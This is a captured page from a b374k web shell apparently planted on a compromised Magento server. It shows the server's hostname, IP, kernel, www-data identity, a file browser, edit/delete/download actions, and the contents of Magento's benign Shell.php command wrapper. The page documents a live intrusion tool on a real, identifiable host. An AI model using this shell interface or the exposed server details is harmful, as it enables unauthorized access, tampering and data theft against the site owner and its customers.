b374k
m1n1 1.01
Apache/2.4.41 (Ubuntu)
Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
server ip : 62.171.164.128 | your ip : 127.0.0.1
safemode OFF
 >  / home / dev2.destoffenstraat.com / vendor / magento / framework /
Filename/home/dev2.destoffenstraat.com/vendor/magento/framework/Shell.php
Size2.44 kb
Permissionrw-r--r--
Ownerroot : root
Create time17-Aug-2025 10:26
Last modified07-Jan-2021 21:10
Last accessed23-Aug-2025 00:27
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/

namespace Magento\Framework;

use Magento\Framework\Shell\CommandRendererInterface;

/**
* Shell command line wrapper encapsulates command execution and arguments escaping
*/
class Shell implements ShellInterface
{
/**
* Logger instance
*
* @var \Psr\Log\LoggerInterface
*/
protected $logger;

/**
* @var CommandRendererInterface
*/
private $commandRenderer;

/**
* @param CommandRendererInterface $commandRenderer
* @param \Psr\Log\LoggerInterface $logger Logger instance to be used to log commands and their output
*/
public function __construct(
CommandRendererInterface $commandRenderer,
\Psr\Log\LoggerInterface $logger = null
) {
$this->logger = $logger;
$this->commandRenderer = $commandRenderer;
}

/**
* Execute a command through the command line, passing properly escaped arguments, and return its output
*
* @param string $command Command with optional argument markers '%s'
* @param string[] $arguments Argument values to substitute markers with
* @return string Output of an executed command
* @throws \Magento\Framework\Exception\LocalizedException If a command returns non-zero exit code
*/
public function execute($command, array $arguments = [])
{
$command = $this->commandRenderer->render($command, $arguments);
$this->log($command);

$disabled = explode(',', str_replace(' ', ',', ini_get('disable_functions')));
if (in_array('exec', $disabled)) {
throw new Exception\LocalizedException(new \Magento\Framework\Phrase('The exec function is disabled.'));
}

exec($command, $output, $exitCode);
$output = implode(PHP_EOL, $output);
$this->log($output);

if ($exitCode) {
$commandError = new \Exception($output, $exitCode);
throw new Exception\LocalizedException(
new \Magento\Framework\Phrase("Command returned non-zero exit code:\n`%1`", [$command]),
$commandError
);
}
return $output;
}

/**
* Log a message, if a logger is specified
*
* @param string $message
* @return void
*/
protected function log($message)
{
if ($this->logger) {
$this->logger->info($message);
}
}
}